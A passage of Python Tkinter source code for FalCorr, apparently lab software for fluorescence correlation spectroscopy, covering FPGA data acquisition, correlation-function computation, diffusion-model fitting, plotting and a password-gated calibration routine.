self.Ch2countRate.configure(selectbackground="#c4c4c4")
self.Ch2countRate.configure(selectforeground="black")
self.Ch2countRate.configure(textvariable=self.Ch2countRateStr)
self.Ch2countRate.configure(state = "readonly")
self.Ch2countRateStr.set("-")
self.Label8 = Label(top)
self.Label8.place(relx=0.7, rely=0.8, height=30, width=135)
self.Label8.configure(activebackground="#f9f9f9")
self.Label8.configure(activeforeground="black")
self.Label8.configure(background="#d9d9d9")
self.Label8.configure(disabledforeground="#a3a3a3")
self.Label8.configure(font=font10)
self.Label8.configure(foreground="#000000")
self.Label8.configure(highlightbackground="#d9d9d9")
self.Label8.configure(highlightcolor="black")
self.Label8.configure(text='\u03c4 min')
self.tauMinStr = StringVar()
self.tauMin = Entry(top)
self.tauMin.place(relx=0.8, rely=0.8,height=30, relwidth=0.11)
self.tauMin.configure(background="white")
self.tauMin.configure(disabledforeground="#a3a3a3")
self.tauMin.configure(font=font10,justify = CENTER)
self.tauMin.configure(foreground="#000000")
self.tauMin.configure(highlightbackground="#d9d9d9")
self.tauMin.configure(highlightcolor="black")
self.tauMin.configure(insertbackground="black")
self.tauMin.configure(selectbackground="#c4c4c4")
self.tauMin.configure(selectforeground="black")
self.tauMin.configure(textvariable=self.tauMinStr)
self.tauMinStr.set("1e-6")
self.Label9 = Label(top)
self.Label9.place(relx=0.7, rely=0.9, height=30, width=135)
self.Label9.configure(activebackground="#f9f9f9")
self.Label9.configure(activeforeground="black")
self.Label9.configure(background="#d9d9d9")
self.Label9.configure(disabledforeground="#a3a3a3")
self.Label9.configure(font=font10)
self.Label9.configure(foreground="#000000")
self.Label9.configure(highlightbackground="#d9d9d9")
self.Label9.configure(highlightcolor="black")
self.Label9.configure(text='\u03c4 max')
self.tauMaxStr = StringVar()
self.tauMax = Entry(top)
self.tauMax.place(relx=0.8, rely=0.9,height=30, relwidth=0.11)
self.tauMax.configure(background="white")
self.tauMax.configure(disabledforeground="#a3a3a3")
self.tauMax.configure(font=font10,justify = CENTER)
self.tauMax.configure(foreground="#000000")
self.tauMax.configure(highlightbackground="#d9d9d9")
self.tauMax.configure(highlightcolor="black")
self.tauMax.configure(insertbackground="black")
self.tauMax.configure(selectbackground="#c4c4c4")
self.tauMax.configure(selectforeground="black")
self.tauMax.configure(textvariable=self.tauMaxStr)
self.tauMaxStr.set("1")
self.refresh = Button(top)
self.refresh.place(relx=0.65, rely=0.85,height=30, relwidth=0.05)
self.refresh.configure(background="#f9f9f9")
self.refresh.configure(disabledforeground="#a3a3a3")
self.refresh.configure(font=font10,justify = CENTER)
self.refresh.configure(foreground="#000000")
self.refresh.configure(highlightbackground="#d9d9d9")
self.refresh.configure(highlightcolor="black")
self.refresh.configure(text = 'Refresh')
self.refresh.configure(command = self.refreshAxes)
self.maxTime = 1;
self.minTime = 1e-6;
self.analysisMode = "None"
self.savePath = ""
self.mode = "Count Rate"
self.pathChanged = 0 #indicate if file save path updated or not
self.dataQ = queue.Queue(0)
def setRunInd(self):
if self.acqStatus:
self.runningIndVar.set(1)
else:
self.runningIndVar.set(0)
def quitProg(self,*args): #exit program
self.fpga.closeFPGA()
root.destroy()
sys.exit(1)
def acquireData(self,*args):
if self.acqStatus == 0: #don't allow repeats for button presses.
if self.mode == "Count Rate":
self.acqStatus = 1
self.runningInd.invoke()
root.update()
t = Thread(target=self.streamCountRate)#, args=self)
self.fpga.startAcq()
t.start()
elif self.mode == "Data Logging":
self.fpga.setAcqTime(self.acqTime)
bytesToRead = 4000 #Read length
self.acqStatus = 1
self.runningInd.invoke()
#make sure you have a new file to save
if not self.pathChanged:
self.setSavePath()
#If valid path
if self.pathChanged:
#start loop
for j in range(0,self.maxTrialNum):
self.myPlot.cla() #clear axes
outfile = self.savePath + "_Trial_" + str(j+1) + ".bin" #file to save to
self.loadBinFile = outfile #update latest load file to current file
#Update GUI
self.trialNum = j+1
self.currentTrialStr.set(str(self.trialNum))
root.update()
#Log Data set
fid = io.open(outfile,mode='wb')
self.logData(bytesToRead)
self.queueToFile(fid)
#compute CFs
if self.computeCFs.get():
self.computeCorrFun(outfile) #compute desired correlations
#display results
if self.displayResults.get():
maxTime = 1
mask = np.less_equal(self.bins,self.maxTime) & np.greater_equal(self.bins,self.minTime)
self.myPlot.semilogx(self.bins[mask],self.CF[mask],**{'linestyle':'none','marker':'o','label':'raw'})
self.myPlot.grid(b=True,which = 'minor',linewidth=0.5)
self.myPlot.set_xlabel("\u03C4 (s)")
self.myPlot.set_ylabel("G(\u03C4)")
self.myPlot.autoscale(enable =True,axis = 'y')
self.plotAxes.draw()
#Perform fit and analysis
if not(self.noAnalysisVar.get()):
self.analyzeData()
#Exit for loop
self.trialNum = 1 #reset trial number counter
self.runningInd.invoke() #update running indicator
self.pathChanged = 0 #protects against accidental overwrite
else:
print("No such mode")
def streamCountRate(self):
refreshRate = 0.25
self.fpga.setAcqTime(5) #set to arbitrary acquisition
countRateCh1 = 0
countRateCh2 = 0
while self.acqStatus:
countRates = self.fpga.getCountRateDualChannel(self.dataType,self.timeScale)
countRateCh1 = countRates[0]
countRateCh2 = countRates[1]
self.Ch1countRateStr.set('%.3f' % countRateCh1)
self.Ch2countRateStr.set('%.3f' % countRateCh2)
time.sleep(refreshRate)
self.fpga.ser.reset_input_buffer() #Clear extraneous
self.fpga.setAcqTime(self.acqTime)#set back to original
self.fpga.stopAcq()
def logData(self,bytesToRead):
self.acqStatus =1
#initialize start time
startTime = time.time()
self.fpga.startAcq() #write start to board
while self.acqStatus:
if (time.time()-startTime < self.acqTime+1 or self.fpga.dataWaiting()>0):
b = self.fpga.read(bytesToRead) #read from port
self.dataQ.put(b) #Write to queue
else:
break
self.fpga.stopAcq()
self.acqStatus = 0
def stopAcq(self,*args):
self.acqStatus = 0
self.fpga.stopAcq()
self.runningInd.invoke()
def callOptionWindow(self,mode= 'normal'):
params = FCSoptionWindow.create_New_OptionWindow(root,mode)
if params[1].newData == "Yes":
self.acqTime = params[1].acqDur
self.maxTrialNum = params[1].maxNumTrials
self.maxTrialStr.set(str(self.maxTrialNum))
self.correlations = params[1].correlations
def setSavePath(self,*args):
self.savePath = asksaveasfilename()
if len(self.savePath):
self.pathChanged = 1
def queueToFile(self,fid): #writes data in queu to binary file
while (self.acqStatus or (not self.dataQ.empty())):
if not self.dataQ.empty():
b = self.dataQ.get()
fid.write(b)
self.dataQ.task_done()
fid.close()
#updates mode menu items to be self-consistent
def setModeDL(self):
self.stopAcq()
self.acqStatus = 0
self.modeVarDL.set(1)
self.modeVarCR.set(0)
self.mode = "Data Logging"
#updates mode menu items to be self-consistent
def setModeCR(self):
self.stopAcq()
self.modeVarDL.set(0)
self.modeVarCR.set(1)
self.mode = "Count Rate"
#updates analysis menu items to be self-consistent
def clearAnalysis(self):
self.noAnalysisVar.set(1)
self.simpleMonoAnalysisVar.set(0)
self.simpleBiAnalysisVar.set(0)
self.tripletMonoAnalysisVar.set(0)
self.tripletBiAnalysisVar.set(0)
self.simpleAnomalousAnalysisVar.set(0)
self.tripletAnomalousAnalysisVar.set(0)
self.maxEntropyAnalysisVar.set(0)
#updates analysis menu items to be self-consistent
def clearNone(self):
self.noAnalysisVar.set(0)
#Load and display previous calculation results
def loadNPZ(self,fileName = ''):
#Prompt for file name if none provided
if not fileName:
self.loadNPZfile = askopenfilename(title = "Select NPZ File",filetypes = (("NPZ Files","*.npz"),("all files","*.*")))
else:
self.loadNPZfile = fileName
if self.loadNPZfile:
self.myPlot.cla() #clear axes
self.myPlotPCH.cla() #clear axes
#Load and Display Correlation Function
data = np.load(self.loadNPZfile)
self.bins = data['bins']
self.CF = data['CF']
self.graphCF(lastPlot = True)
#Load and display count rates
CR = data['countRates']
countRateCh1 = CR[0]
countRateCh2 = CR[1]
self.Ch1countRateStr.set('%.3f' % countRateCh1)
self.Ch2countRateStr.set('%.3f' % countRateCh2)
#Load and Display PCHs
PCH = data['PCH']
self.PCH1 = PCH[0]
self.PCH2 = PCH[1]
self.graphPCH(lastPlot = True)
def graphCF(self,lastPlot = False, color = None):
#Load and Display Correlation Function
mask = np.less_equal(self.bins,self.maxTime) & np.greater_equal(self.bins,self.minTime)#only show results in specified window
if color == None:
self.myPlot.semilogx(self.bins[mask],self.CF[mask],**{'linestyle':'none','marker':'o'})
else:
self.myPlot.semilogx(self.bins[mask],self.CF[mask],**{'linestyle':'-','linewidth':2,'color':color})
self.myPlot.grid(b=True,which = 'minor',linewidth=0.5)
self.myPlot.set_xlabel("\u03C4 (s)")
self.myPlot.set_ylabel("G(\u03C4)")
self.myPlot.autoscale(enable =True,axis = 'y')
if lastPlot:
self.plotAxes.draw()
#Graph PCH
def graphPCH(self,lastPlot = False, color = [None,None]):
if len(self.PCH1) or len(self.PCH2): #If initialized
if self.PCH1_IndVar.get() and (not np.isnan(self.PCH1[0][0])):
histLen = max(len(self.PCH1[0]),len(self.PCH1[1]))
if color[0] ==None:
self.myPlotPCH.semilogy(self.PCH1[1][0:histLen-1],self.PCH1[0][0:histLen-1],**{'marker':'o'})
else:
self.myPlotPCH.semilogy(self.PCH1[1][0:histLen-1],self.PCH1[0][0:histLen-1],**{'marker':'o','color':color[0],'linestyle':'--'})
if self.PCH2_IndVar.get() and (not np.isnan(self.PCH2[0][0])):
histLen = max(len(self.PCH2[0]),len(self.PCH2[1]))
if color[1] ==None:
self.myPlotPCH.semilogy(self.PCH2[1][0:histLen-1],self.PCH2[0][0:histLen-1],**{'marker':'o'})
else:
self.myPlotPCH.semilogy(self.PCH2[1][0:histLen-1],self.PCH2[0][0:histLen-1],**{'marker':'o','color':color[1],'linestyle':'--'})
self.myPlotPCH.set_xlabel("Counts Per Interval")
self.myPlotPCH.set_ylabel("Probability")
self.myPlotPCH.autoscale(enable =True,axis = 'y')
if lastPlot:
self.plotAxes.draw()
def loadBinFile(self): #Load bin files and compute selected CFs. Results saved to final
binFileList = askopenfilenames(title = "Select .bin file(s)",filetypes = (("bin files","*.bin"),("all files","*.*")))
params = self.callOptionWindow(mode = 'disabled') #Select CFs to compute
#set to save and display
temp1 = self.computeCFs.get()
temp2 = self.displayResults.get()
self.computeCFs.set(1)
self.displayResults.set(1)
#Indicate computations taking place
self.acqStatus = 1
self.runningInd.invoke()
root.update()
for j in range(0,len(binFileList)): #Load files and compute selected CFs
self.computeCorrFun(binFileList[j])
if len(binFileList)==1:
self.loadNPZ(self.loadNPZfile)
#Indicate computations completed
self.acqStatus = 0
self.runningInd.invoke()
#set save and display preferences back to normal
temp1 = self.computeCFs.set(temp1)
temp2 = self.displayResults.set(temp2)
def loadMultNPZ(self,NPZFileList=''):
#Prompt for file names if none provided
if not NPZFileList:
self.loadNPZfile = askopenfilenames(title = "Select NPZ Files",filetypes = (("NPZ Files","*.npz"),("all files","*.*")))
else:
self.loadNPZfile = NPZFileList
if self.loadNPZfile:
self.myPlot.cla() #clear axes
self.myPlotPCH.cla()
#Load Data
for j in range(0,len(self.loadNPZfile)):
data = np.load(self.loadNPZfile[j])
self.bins = data['bins']
self.CF = data['CF']
self.PCH1,self.PCH2 = data['PCH']
self.graphCF(lastPlot = (j==len(self.loadNPZfile)-1))
self.graphPCH(lastPlot = (j==len(self.loadNPZfile)-1))
def computeCorrFun(self,file):
CF_label = {
0: 'Ch1ACF.npz',
1: 'Ch1xCh2.npz',
2: 'Ch2,Ch1.npz',
3: 'Ch2ACF.npz'
}
for j in range(4):
#Update Count Rates
countRateCh1,countRateCh2 = myCorr.getCountRate(file,self.dataType)
countRateCh1 = countRateCh1/self.timeScale/1000
countRateCh2 = countRateCh2/self.timeScale/1000
self.Ch1countRateStr.set('%.3f' % countRateCh1)
self.Ch2countRateStr.set('%.3f' % countRateCh2)
#Generate PCH
self.PCH1,self.PCH2 = myCorr.getPCHs(file,self.dataType,intBins=200)
if self.correlations[j]:
results = myCorr.multiTauCFfromDeltas(file,self.dataType,j)
self.bins = results[1]*self.timeScale
self.CF = results[0]
#save CF to file
if self.computeCFs.get():
outfile = file[0:len(file)-4]+CF_label.get(j)
self.loadNPZfile = outfile #update latest load file to current file
np.savez(outfile,bins=self.bins,CF=self.CF,countRates = [countRateCh1,countRateCh2],PCH = [self.PCH1,self.PCH2]) #save to file
def analyzeData(self):
if self.loadNPZfile and not(self.noAnalysisVar.get()): #check file list present to begin with and that analysis is checked, if not, do nothing
#Identify wavelength
if self.argon.get() and not self.hene.get(): #488-nm excitation
wavelength = 488
elif self.hene.get() and not self.argon.get(): #543-nm excitation
wavelength = 543
else:
wavelength = np.NAN
myFitter = fcs.scopeFit(wavelength) #fitting object
if isinstance(self.loadNPZfile,str):
self.loadNPZfile = [self.loadNPZfile] #Insure file list is part of a list, not a single string
for j in range(0,len(self.loadNPZfile)):
data = np.load(self.loadNPZfile[j])
#Load CF data
self.bins = data['bins']
self.CF = data['CF']
#Load and display count rates
CR = data['countRates']
countRateCh1 = CR[0]
countRateCh2 = CR[1]
self.Ch1countRateStr.set('%.3f' % countRateCh1)
self.Ch2countRateStr.set('%.3f' % countRateCh2)
#Load PCHs (for consistency)
PCH = data['PCH']
self.PCH1 = PCH[0]
self.PCH2 = PCH[1]
mask = np.less_equal(self.bins,self.maxTime) & np.greater_equal(self.bins,self.minTime)
#Perform simple monomodal fit
if self.simpleMonoAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("simpleMonodisperse",x=self.bins[mask],y=self.CF[mask])
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_simpleMonomodal.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius (m): " + str(Dh1) + "\n")
fid.write("G0: " + str(params[0]) +"\n")
fid.write("GInf:" + str(params[1]) + "\n")
fid.write("tauD: " + str(params[2])+ '\n')
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um):" + str(wxy) + "\n")
fid.write("axial ratio, a:" + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Show average number of molecules
conc = fcs.measureConc(params[0],wavelength)
self.NStr.set('%.2f' % float(1/params[0]) + ' \ %.2f' % conc)
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.simpleMonodisperse(self.bins[mask],params[0],params[1],params[2]),**{'linewidth':1,'label':'Simple Mono.'})
#Perform triplet-corrected monomodal fit
if self.tripletMonoAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("tripletMonodisperse",self.bins[mask],self.CF[mask])
#write fit results to file
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_tripletMonomodal.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius: " + str(Dh1) + "\n")
fid.write("G0: " + str(params[0]) +"\n")
fid.write("GInf: " + str(params[1]) + "\n")
fid.write("F: " + str(params[2]) + "\n")
fid.write("tauD: " + str(params[3])+ "\n")
fid.write("tauF: " + str(params[4])+ "\n")
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um):" + str(wxy) + "\n")
fid.write("axial ratio, a:" + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Show average number of molecules
conc = fcs.measureConc(params[0],wavelength)
self.NStr.set('%.1f' % float(1/params[0])+ ' \ %.2f' % conc)
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.tripletMonodisperse(self.bins[mask],params[0],params[1],params[2],params[3],params[4]),**{'linewidth':1,'label':'Triplet Mono'})
#Perform simple bimodal fit
if self.simpleBiAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("simpleBimodal",self.bins[mask],self.CF[mask])
#write fit results to file
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_simpleBimodal.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius 1: " + str(Dh1) + "\n")
fid.write("Hydrodynamic Radius 2: " + str(Dh2) + "\n")
fid.write("G1: " + str(params[0]) +"\n")
fid.write("G2: " + str(params[1]) +"\n")
fid.write("GInf: " + str(params[2]) + "\n")
fid.write("tauD1: " + str(params[3])+ "\n")
fid.write("tauD2: " + str(params[4])+ "\n")
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um):" + str(wxy) + "\n")
fid.write("axial ratio, a:" + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Hide average number of molecules
self.NStr.set('-')
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.simpleBimodal(self.bins[mask],params[0],params[1],params[2],params[3],params[4]),**{'linewidth':1,'label':'Simple Bi'})
#Perform triplet-corrected bimodal fit
if self.tripletBiAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("tripletBimodal",self.bins[mask],self.CF[mask])
#write fit results to file
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_tripletBimodal.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius 1: " + str(Dh1) + "\n")
fid.write("Hydrodynamic Radius 2: " + str(Dh2) + "\n")
fid.write("G1: " + str(params[0]) +"\n")
fid.write("G2: " + str(params[1]) +"\n")
fid.write("GInf: " + str(params[2]) + "\n")
fid.write("F: " + str(params[3])+ "\n")
fid.write("tauD1: " + str(params[4])+ "\n")
fid.write("tauD2: " + str(params[5])+ "\n")
fid.write("tauDF: " + str(params[6])+ "\n")
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um):" + str(wxy) + "\n")
fid.write("axial ratio, a:" + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Hide average number of molecules
self.NStr.set('-')
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.tripletBimodal(self.bins[mask],params[0],params[1],params[2],params[3],params[4],params[5],params[6]),**{'linewidth':1,'label':'Triplet Bi'})
#Simple anomalous diffusion option
if self.simpleAnomalousAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("simpleAnomalous",x=self.bins[mask],y=self.CF[mask])
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_simpleAnomalous.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius: " + str(Dh1) + "\n")
fid.write("G0: " + str(params[0]) +"\n")
fid.write("GInf:" + str(params[1]) + "\n")
fid.write("tauD: " + str(params[2])+ '\n')
fid.write("alpha: " + str(params[3]) + '\n')
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um): " + str(wxy) + "\n")
fid.write("axial ratio, a: " + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Show average number of molecules
conc = fcs.measureConc(params[0],wavelength)
self.NStr.set('%.1f' % float(1/params[0])+ ' \ %.2f' % conc)
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.simpleAnomalous(self.bins[mask],params[0],params[1],params[2],params[3]),**{'linewidth':1,'label':'Simple Anom.'})
#Triplet-corrected anomlaous diffusion option
if self.tripletAnomalousAnalysisVar.get():
params,Dh1,Dh2,alpha,wxy,a = myFitter.getHydroDiam("tripletAnomalous",x=self.bins[mask],y=self.CF[mask])
outfile = self.loadNPZfile[j][0:len(self.loadNPZfile[j])-4]+ "_tripletAnomalous.txt"
fid = io.open(outfile,mode = 'w')
fid.write("Hydrodynamic Radius: " + str(Dh1) + "\n")
fid.write("G0: " + str(params[0]) +"\n")
fid.write("GInf:" + str(params[1]) + "\n")
fid.write("F: " + str(params[2]) + "\n")
fid.write("tauD: " + str(params[3])+ '\n')
fid.write("alpha: " + str(params[4])+ '\n')
fid.write("tauF: " + str(params[5])+ '\n')
fid.write("Min Time: " + str(self.minTime) +"\n")
fid.write("Max Time: " + str(self.maxTime) + "\n")
fid.write("wxy (um):" + str(wxy) + "\n")
fid.write("axial ratio, a:" + str(a) + "\n")
fid.write("Wavelength: " + str(wavelength) + "\n")
fid.close()
#Show average number of molecules
conc = fcs.measureConc(params[0],wavelength)
self.NStr.set('%.1f' % float(1/params[0])+ ' \ %.2f' % conc)
if self.displayResults.get(): #add to plot
self.myPlot.semilogx(self.bins[mask],myFitter.tripletAnomalous(self.bins[mask],params[0],params[1],params[2],params[3],params[4],params[5]),**{'linewidth':1,'label':'Triplet Anom.'})
#update gui strings
self.hydroDiamStr1.set('%.2f' % float(Dh1/1e-9))
self.hydroDiamStr2.set('%.2f' % float(Dh2/1e-9))
self.alphaStr.set('%.2f' % float(alpha))
#Draw graphs
self.plotAxes.draw()
def refreshAxes(self):
#Validate min/max delay entries
try:
self.minTime = float(self.tauMinStr.get())
except:
self.tauMinStr.set(str(self.minTime))
try:
self.maxTime = float(self.tauMaxStr.get())
except:
self.tauMaxStr.set(str(self.maxTime))
#Insure minTime is less than MaxTime
if self.maxTime<self.minTime:
self.minTime = 1e-6;
self.maxTime = 1.0;
self.tauMaxStr.set(str(self.maxTime))
self.tauMinStr.set(str(self.minTime))
#Reload and redraw
if isinstance(self.loadNPZfile,str):
self.loadNPZ(fileName = self.loadNPZfile)
else:
self.loadMultNPZ(NPZFileList=self.loadNPZfile)
#Update fits accordingly
if not(self.noAnalysisVar.get()):
self.analyzeData()
def saveAxes(self):
if isinstance(self.loadNPZfile,str):
initialfile = os.path.split(self.loadNPZfile)
initialfile = initialfile[len(initialfile)-1]
initialfile = initialfile[0:len(initialfile)-4]
outFile = asksaveasfilename(title = 'Save Figure As...',defaultextension = 'pdf',initialfile = initialfile)
else:
outFile = asksaveasfilename(title = 'Save Figure As...',defaultextension = 'pdf',initialfile = 'MultipleFileGraph')
self.fig.savefig(outFile,bbox_inches = 'tight')
def exportToCSV(self):
if not(self.loadNPZfile):
self.loadMultNPZ()
if isinstance(self.loadNPZfile,str):
fileFormatter.npzToFormat([self.loadNPZfile])
else:
fileFormatter.npzToFormat(self.loadNPZfile)
def overlayAndAverage(self,NPZFileList=''):
#Prompt for file names if none provided
if not NPZFileList:
self.loadNPZfile = askopenfilenames(title = "Select NPZ Files",filetypes = (("NPZ Files","*.npz"),("all files","*.*")))
else:
self.loadNPZfile = NPZFileList
if self.loadNPZfile:
self.myPlot.cla() #clear axes
#Initialize arrays to first element
data = np.load(self.loadNPZfile[0])
CFData = data['CF']
self.CF = data['CF']
self.bins = data['bins']
countRateData = data['countRates']
self.PCH1,self.PCH2 = data['PCH']
PCH1Data = self.PCH1[0]
PCH2Data = self.PCH2[0]
self.graphCF(lastPlot = False)
self.graphPCH(lastPlot = False)
#run through list
for j in range(1,len(self.loadNPZfile)):
data = np.load(self.loadNPZfile[j])
self.bins = data['bins']
self.CF = data['CF']
countRate = data['countRates']
self.PCH1,self.PCH2 = data['PCH']
self.graphCF(lastPlot = False)
self.graphPCH(lastPlot = False)
CFData = np.vstack((CFData,np.array(self.CF)))
countRateData = np.vstack((countRateData,np.array(countRate)))
PCH1Data = np.vstack((PCH1Data,np.array(self.PCH1[0])))
PCH2Data = np.vstack((PCH2Data,np.array(self.PCH2[0])))
#Find Averaged Values
dataAverage = np.mean(CFData,0)
self.CF = dataAverage
countAverage = np.mean(countRateData,0)
self.Ch1countRateStr.set('%.3f' % countAverage[0])
self.Ch2countRateStr.set('%.3f' % countAverage[1])
PCH1Average = np.mean(PCH1Data,0)
PCH2Average = np.mean(PCH2Data,0)
self.PCH1[0] = PCH1Average
self.PCH2[0] = PCH2Average
self.graphCF(lastPlot = True,color ='black')
self.graphPCH(lastPlot = True,color = ['green','red'])
#Opt to save averaged data
outFile = asksaveasfilename(title = 'Save Figure As...',defaultextension = 'npz',initialfile = self.loadNPZfile[j])
if len(outFile):
np.savez(outFile,bins=self.bins,CF=dataAverage,countRates = countAverage,PCH = [self.PCH1,self.PCH2]) #save to file
def calibrate(self):
answer = messagebox.askyesno("Recalibration Request","Are you sure you want to recalibrate? All previous data will be overwritten")
if answer:
answer = simpledialog.askstring("Authorization Required", "Enter Your Password")
pwd = 'Falcon2020'
if answer == pwd:
#Physical Constants
kb = 1.38064852e-23 #Boltzmann constant
Temp = 295 #Temperature
eta=8.90e-4 #viscosity
#Open config file
#path = os.getenv('ProgramFiles(x86)')
path = os.path.dirname(os.path.abspath(__file__))
if not os.path.isdir(os.path.join(path,'FalCorr')):
os.mkdir(os.path.join(path,'FalCorr'))
path = os.path.join(path,'FalCorr')
configFile = os.path.join(path,'config.txt')
fid = io.open(configFile,'w')
#Calibrate each wavelength
wavelength = [488,543]
myFit = fcs.scopeFit(0) #Fitter class
for j in range(0,2):
titleString = "Select Files For " + str(wavelength[j]) + "-nm Fitting Focal Parameters"
self.loadNPZfile = askopenfilenames(title = titleString,filetypes = (("NPZ Files","*.npz"),("all files","*.*")))
self.loadMultNPZ(NPZFileList=self.loadNPZfile) #load and display items
#insure in list format
if isinstance(self.loadNPZfile,str):
self.loadNPZfile = [self.loadNPZfile]
#Fit calibration curves
a = np.zeros([len(self.loadNPZfile),1]) #initialize fit array
tauD = np.zeros([len(self.loadNPZfile),1]) #initilaize fit array
fileName = 'Calib'+str(wavelength[j]) + 'List.txt'
calibFile = os.path.join(path,fileName)
calib = io.open(calibFile,'w')
for k in range(0,len(self.loadNPZfile)):
data = np.load(self.loadNPZfile[k])
self.bins = data['bins']
self.CF = data['CF']
mask = np.less_equal(self.bins,self.maxTime) & np.greater_equal(self.bins,self.minTime)
params = myFit.calFit(self.bins[mask],self.CF[mask])
a[k] = params[3]
tauD[k] = params[2]
writeStr = self.loadNPZfile[k] + '\ta: ' + str(a[k]) + '\ttauD: ' + str(tauD[k]) + '\n'
calib.write(writeStr)
calib.close()
#Average Data Sets
A = np.mean(a)
TauD = np.mean(tauD)
#Back-calculate beam parameters
Dh = simpledialog.askfloat('Calibration','Enter known hydrodynamic diameter in nm')
Dh = Dh*1e-9 #convert to meters
Dt = kb*Temp/(3*np.pi*eta*Dh) #Calculate diffusion constant
wxy = np.sqrt(4*Dt*TauD) #beam waist in meters
wxy = wxy/1e-6 #convert to microns
#Print to file
fid.write('wxy' + str(wavelength[j]) + '\t%.2f' % wxy + '\n')
fid.write('a' + str(wavelength[j]) + '\t%.2f' % A + '\n')
#Determine focal volume
fid.close()
else:
messagebox.showerror("Authorization Denied", "Incorrect Password")
def aboutGUI(self):
#eg.msgbox(msg = "muCorr FCS Software\nCreated by Matthew J. Farrar\nEmail: mfarrar@messiah.edu\nCopyright 2019\nAll Rights Reserved",title = 'About muCorr')
messagebox.showinfo("About FalCorr", "FalCorr FCS Software\nCreated by Matthew J. Farrar\nEmail: mfarrar@messiah.edu\nCopyright 2019\nAll Rights Reserved")
if __name__ == '__main__':
vp_start_gui()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.